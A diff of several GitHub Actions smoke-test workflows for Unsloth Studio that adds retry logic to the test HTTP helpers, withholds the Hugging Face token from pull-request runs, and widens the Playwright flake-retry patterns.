||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -440,6 +444,8 @@ jobs:
|
|||
python - <<'PY'
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
|
||||
BASE = os.environ["BASE_URL"]
|
||||
|
|
@ -460,8 +466,24 @@ jobs:
|
|||
"Content-Type": "application/json",
|
||||
},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout = timeout) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
# Shared CI runners stall sporadically, so retry transport-level
|
||||
# failures only; HTTP status errors surface immediately. Bounded
|
||||
# to fit the job's timeout-minutes: short probes get 3 full
|
||||
# attempts, long probes one retry capped at 300s (a healthy
|
||||
# server answers a retry quickly; a stalled one never does).
|
||||
attempts = 3 if timeout <= 300 else 2
|
||||
for attempt in range(attempts):
|
||||
try:
|
||||
t = timeout if attempt == 0 else min(timeout, 300)
|
||||
with urllib.request.urlopen(req, timeout = t) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError:
|
||||
raise
|
||||
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
|
||||
if attempt == attempts - 1:
|
||||
raise
|
||||
print(f"[retry] {path}: {exc!r}", flush = True)
|
||||
time.sleep(15)
|
||||
|
||||
def post_sse(path, body, *, timeout = 600):
|
||||
"""POST a streaming request and accumulate the assistant
|
||||
|
|
@ -845,7 +867,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -863,7 +886,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -932,6 +956,8 @@ jobs:
|
|||
import base64
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from openai import OpenAI
|
||||
from anthropic import Anthropic
|
||||
|
|
@ -950,8 +976,24 @@ jobs:
|
|||
"Content-Type": "application/json",
|
||||
},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout = timeout) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
# Shared CI runners stall sporadically, so retry transport-level
|
||||
# failures only; HTTP status errors surface immediately. Bounded
|
||||
# to fit the job's timeout-minutes: short probes get 3 full
|
||||
# attempts, long probes one retry capped at 300s (a healthy
|
||||
# server answers a retry quickly; a stalled one never does).
|
||||
attempts = 3 if timeout <= 300 else 2
|
||||
for attempt in range(attempts):
|
||||
try:
|
||||
t = timeout if attempt == 0 else min(timeout, 300)
|
||||
with urllib.request.urlopen(req, timeout = t) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError:
|
||||
raise
|
||||
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
|
||||
if attempt == attempts - 1:
|
||||
raise
|
||||
print(f"[retry] {path}: {exc!r}", flush = True)
|
||||
time.sleep(15)
|
||||
|
||||
# ── 1. response_format = json_object (JSON mode) ─────────────
|
||||
# llama.cpp's HTTP server supports OpenAI-compatible JSON
|
||||
|
|
|
|||
6
.github/workflows/studio-mac-api-smoke.yml
vendored
6
.github/workflows/studio-mac-api-smoke.yml
vendored
|
|
@ -68,7 +68,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -85,7 +86,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
|
|||
62
.github/workflows/studio-mac-inference-smoke.yml
vendored
62
.github/workflows/studio-mac-inference-smoke.yml
vendored
|
|
@ -91,7 +91,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -110,7 +111,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -346,7 +348,8 @@ jobs:
|
|||
id: download-gguf
|
||||
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p gguf-cache
|
||||
|
|
@ -363,7 +366,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -426,6 +430,8 @@ jobs:
|
|||
python - <<'PY'
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
|
||||
BASE = os.environ["BASE_URL"]
|
||||
|
|
@ -446,8 +452,24 @@ jobs:
|
|||
"Content-Type": "application/json",
|
||||
},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout = timeout) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
# Shared CI runners stall sporadically, so retry transport-level
|
||||
# failures only; HTTP status errors surface immediately. Bounded
|
||||
# to fit the job's timeout-minutes: short probes get 3 full
|
||||
# attempts, long probes one retry capped at 300s (a healthy
|
||||
# server answers a retry quickly; a stalled one never does).
|
||||
attempts = 3 if timeout <= 300 else 2
|
||||
for attempt in range(attempts):
|
||||
try:
|
||||
t = timeout if attempt == 0 else min(timeout, 300)
|
||||
with urllib.request.urlopen(req, timeout = t) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError:
|
||||
raise
|
||||
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
|
||||
if attempt == attempts - 1:
|
||||
raise
|
||||
print(f"[retry] {path}: {exc!r}", flush = True)
|
||||
time.sleep(15)
|
||||
|
||||
def post_sse(path, body, *, timeout = 600):
|
||||
"""POST a streaming request and accumulate the assistant
|
||||
|
|
@ -725,7 +747,8 @@ jobs:
|
|||
# Authenticated + parallel: shared macos-14 NAT egress stalls
|
||||
# multi-GB anonymous downloads.
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p gguf-cache
|
||||
|
|
@ -752,7 +775,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -819,6 +843,8 @@ jobs:
|
|||
import base64
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from openai import OpenAI
|
||||
from anthropic import Anthropic
|
||||
|
|
@ -842,8 +868,24 @@ jobs:
|
|||
"Content-Type": "application/json",
|
||||
},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout = timeout) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
# Shared CI runners stall sporadically, so retry transport-level
|
||||
# failures only; HTTP status errors surface immediately. Bounded
|
||||
# to fit the job's timeout-minutes: short probes get 3 full
|
||||
# attempts, long probes one retry capped at 300s (a healthy
|
||||
# server answers a retry quickly; a stalled one never does).
|
||||
attempts = 3 if timeout <= 300 else 2
|
||||
for attempt in range(attempts):
|
||||
try:
|
||||
t = timeout if attempt == 0 else min(timeout, 300)
|
||||
with urllib.request.urlopen(req, timeout = t) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError:
|
||||
raise
|
||||
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
|
||||
if attempt == attempts - 1:
|
||||
raise
|
||||
print(f"[retry] {path}: {exc!r}", flush = True)
|
||||
time.sleep(15)
|
||||
|
||||
# ── 1. response_format = json_object (JSON mode) ─────────────
|
||||
# llama.cpp's HTTP server supports OpenAI-compatible JSON
|
||||
|
|
|
|||
|
|
@ -63,7 +63,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
|
|||
35
.github/workflows/studio-mac-ui-smoke.yml
vendored
35
.github/workflows/studio-mac-ui-smoke.yml
vendored
|
|
@ -68,7 +68,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -85,7 +86,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -183,13 +185,14 @@ jobs:
|
|||
# Retry up to 3 times to absorb known macos-14 free-runner
|
||||
# flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected
|
||||
# end of JSON input' crash when the Chromium browser process
|
||||
# dies mid-test, and (2) Chromium net::ERR_NO_BUFFER_SPACE
|
||||
# when the runner's kernel briefly runs out of socket buffers.
|
||||
# The retry FULLY resets Studio (kill, reset-password, reboot,
|
||||
# wait /api/health, re-export bootstrap pw) before re-running
|
||||
# the script. A real test failure (assertion / timeout) does
|
||||
# NOT match either pattern so it bypasses retry and surfaces
|
||||
# immediately.
|
||||
# dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
|
||||
# runner's kernel briefly runs out of socket buffers, and (3) a
|
||||
# goto 'interrupted by another navigation' when the SPA auth
|
||||
# guard redirects mid-navigation. The retry FULLY resets Studio
|
||||
# (kill, reset-password, reboot, wait /api/health, re-export
|
||||
# bootstrap pw) before re-running the script. A real test failure
|
||||
# (assertion / timeout) does NOT match any pattern so it bypasses
|
||||
# retry and surfaces immediately.
|
||||
run: |
|
||||
mkdir -p logs/playwright
|
||||
attempt=1
|
||||
|
|
@ -202,8 +205,9 @@ jobs:
|
|||
if [ "$rc" -eq 0 ]; then
|
||||
break
|
||||
fi
|
||||
if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
|
||||
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log; } \
|
||||
if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
|
||||
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log \
|
||||
|| grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \
|
||||
&& [ "$attempt" -lt "$max_attempts" ]; then
|
||||
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
|
||||
kill "${STUDIO_PID}" 2>/dev/null || true
|
||||
|
|
@ -278,8 +282,8 @@ jobs:
|
|||
STUDIO_UI_TURN_TIMEOUT_MS: '540000'
|
||||
GGUF_REPO: ${{ env.GGUF_REPO }}
|
||||
GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
|
||||
# Same flake-retry shape as "Drive the chat UI with Playwright"
|
||||
# -- catches pipeTransport JSON crash and ERR_NO_BUFFER_SPACE.
|
||||
# Same flake-retry shape as "Drive the chat UI with Playwright" -- catches
|
||||
# pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts.
|
||||
run: |
|
||||
mkdir -p logs/playwright_extra
|
||||
attempt=1
|
||||
|
|
@ -292,8 +296,9 @@ jobs:
|
|||
if [ "$rc" -eq 0 ]; then
|
||||
break
|
||||
fi
|
||||
if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
|
||||
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log; } \
|
||||
if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
|
||||
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log \
|
||||
|| grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \
|
||||
&& [ "$attempt" -lt "$max_attempts" ]; then
|
||||
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
|
||||
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true
|
||||
|
|
|
|||
|
|
@ -62,7 +62,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -74,7 +75,8 @@ jobs:
|
|||
- name: First update should be a no-op (prebuilt already validated)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
set -o pipefail
|
||||
unsloth studio update --local 2>&1 | tee logs/update.log
|
||||
|
|
@ -93,7 +95,8 @@ jobs:
|
|||
- name: Second update must also be a no-op
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
set -o pipefail
|
||||
unsloth studio update --local 2>&1 | tee logs/update2.log
|
||||
|
|
|
|||
2
.github/workflows/studio-tauri-smoke.yml
vendored
2
.github/workflows/studio-tauri-smoke.yml
vendored
|
|
@ -47,7 +47,7 @@ jobs:
|
|||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y \
|
||||
libwebkit2gtk-4.1-dev libayatana-appindicator3-dev \
|
||||
libwebkit2gtk-4.1-dev libappindicator3-dev \
|
||||
librsvg2-dev libxdo-dev libssl-dev patchelf
|
||||
|
||||
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
|
||||
|
|
|
|||
6
.github/workflows/studio-ui-smoke.yml
vendored
6
.github/workflows/studio-ui-smoke.yml
vendored
|
|
@ -82,7 +82,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -99,7 +100,8 @@ jobs:
|
|||
- name: Install Studio (--local, --no-torch)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
|
|||
9
.github/workflows/studio-update-smoke.yml
vendored
9
.github/workflows/studio-update-smoke.yml
vendored
|
|
@ -71,7 +71,8 @@ jobs:
|
|||
# prebuilt path falls back to source build.
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
mkdir -p logs
|
||||
set -o pipefail
|
||||
|
|
@ -86,7 +87,8 @@ jobs:
|
|||
# idempotency regressed.
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
set -o pipefail
|
||||
unsloth studio update --local 2>&1 | tee logs/update.log
|
||||
|
|
@ -109,7 +111,8 @@ jobs:
|
|||
# the first one.
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
set -o pipefail
|
||||
unsloth studio update --local 2>&1 | tee logs/update2.log
|
||||
|
|
|
|||
|
|
@ -75,7 +75,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -124,7 +125,8 @@ jobs:
|
|||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
New-Item -ItemType Directory -Force -Path logs | Out-Null
|
||||
# *>&1 captures Write-Host (Information stream) output;
|
||||
|
|
|
|||
693
.github/workflows/studio-windows-inference-smoke.yml
vendored
693
.github/workflows/studio-windows-inference-smoke.yml
vendored
|
|
@ -26,6 +26,7 @@ on:
|
|||
- 'unsloth_cli/**'
|
||||
- 'install.ps1'
|
||||
- 'pyproject.toml'
|
||||
- 'tests/studio_setup_ps1/**'
|
||||
- '.github/workflows/studio-windows-inference-smoke.yml'
|
||||
push:
|
||||
branches: [main, pip]
|
||||
|
|
@ -82,6 +83,18 @@ jobs:
|
|||
pwsh -NoProfile -File tests/studio/test_node_decision.ps1
|
||||
pwsh -NoProfile -File tests/studio/test_node_probe_guard.ps1
|
||||
|
||||
# uninstall.ps1: native uninstall must keep the shared unsloth.ico while a
|
||||
# WSL shortcut still references it (dual install), else that shortcut blanks.
|
||||
- name: uninstall.ps1 unit test (dual-install icon preserve)
|
||||
shell: pwsh
|
||||
run: |
|
||||
$errs = $null
|
||||
[void][System.Management.Automation.Language.Parser]::ParseFile(
|
||||
(Resolve-Path scripts/uninstall.ps1).Path, [ref]$null, [ref]$errs)
|
||||
if ($errs) { $errs | ForEach-Object { $_.ToString() }; exit 1 }
|
||||
Write-Host "uninstall.ps1 parsed with no errors"
|
||||
pwsh -NoProfile -File tests/studio/test_uninstall_dual_install_icon.ps1
|
||||
|
||||
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
|
||||
with:
|
||||
node-version: '22'
|
||||
|
|
@ -114,7 +127,8 @@ jobs:
|
|||
# described above (outcome != success).
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -166,7 +180,8 @@ jobs:
|
|||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
New-Item -ItemType Directory -Force -Path logs | Out-Null
|
||||
# *>&1 captures Write-Host (Information stream) output;
|
||||
|
|
@ -463,7 +478,8 @@ jobs:
|
|||
id: download-gguf
|
||||
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p gguf-cache
|
||||
|
|
@ -511,7 +527,8 @@ jobs:
|
|||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
New-Item -ItemType Directory -Force -Path logs | Out-Null
|
||||
# *>&1 captures Write-Host (Information stream) output;
|
||||
|
|
@ -617,6 +634,8 @@ jobs:
|
|||
python - <<'PY'
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
|
||||
BASE = os.environ["BASE_URL"]
|
||||
|
|
@ -639,8 +658,24 @@ jobs:
|
|||
"Content-Type": "application/json",
|
||||
},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout = timeout) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
# Shared CI runners stall sporadically, so retry transport-level
|
||||
# failures only; HTTP status errors surface immediately. Bounded
|
||||
# to fit the job's timeout-minutes: short probes get 3 full
|
||||
# attempts, long probes one retry capped at 300s (a healthy
|
||||
# server answers a retry quickly; a stalled one never does).
|
||||
attempts = 3 if timeout <= 300 else 2
|
||||
for attempt in range(attempts):
|
||||
try:
|
||||
t = timeout if attempt == 0 else min(timeout, 300)
|
||||
with urllib.request.urlopen(req, timeout = t) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError:
|
||||
raise
|
||||
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
|
||||
if attempt == attempts - 1:
|
||||
raise
|
||||
print(f"[retry] {path}: {exc!r}", flush = True)
|
||||
time.sleep(15)
|
||||
|
||||
def post_sse(path, body, *, timeout = 600):
|
||||
body = {**body, "stream": True}
|
||||
|
|
@ -893,7 +928,8 @@ jobs:
|
|||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
|
|
@ -943,7 +979,8 @@ jobs:
|
|||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
HF_TOKEN: ${{ secrets.HF_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
New-Item -ItemType Directory -Force -Path logs | Out-Null
|
||||
# *>&1 captures Write-Host (Information stream) output;
|
||||
|
|
@ -1044,6 +1081,8 @@ jobs:
|
|||
import base64
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from openai import OpenAI
|
||||
from anthropic import Anthropic
|
||||
|
|
@ -1063,8 +1102,24 @@ jobs:
|
|||
"Content-Type": "application/json",
|
||||
},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout = timeout) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
# Shared CI runners stall sporadically, so retry transport-level
|
||||
# failures only; HTTP status errors surface immediately. Bounded
|
||||
# to fit the job's timeout-minutes: short probes get 3 full
|
||||
# attempts, long probes one retry capped at 300s (a healthy
|
||||
# server answers a retry quickly; a stalled one never does).
|
||||
attempts = 3 if timeout <= 300 else 2
|
||||
for attempt in range(attempts):
|
||||
try:
|
||||
t = timeout if attempt == 0 else min(timeout, 300)
|
||||
with urllib.request.urlopen(req, timeout = t) as resp:
|
||||
return resp.status, json.loads(resp.read().decode())
|
||||
except urllib.error.HTTPError:
|
||||
raise
|
||||
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
|
||||
if attempt == attempts - 1:
|
||||
raise
|
||||
print(f"[retry] {path}: {exc!r}", flush = True)
|
||||
time.sleep(15)
|
||||
|
||||
# ── 1. response_format = json_object (JSON mode) ─────────────
|
||||
status, data = post("/v1/chat/completions", {
|
||||
|
|
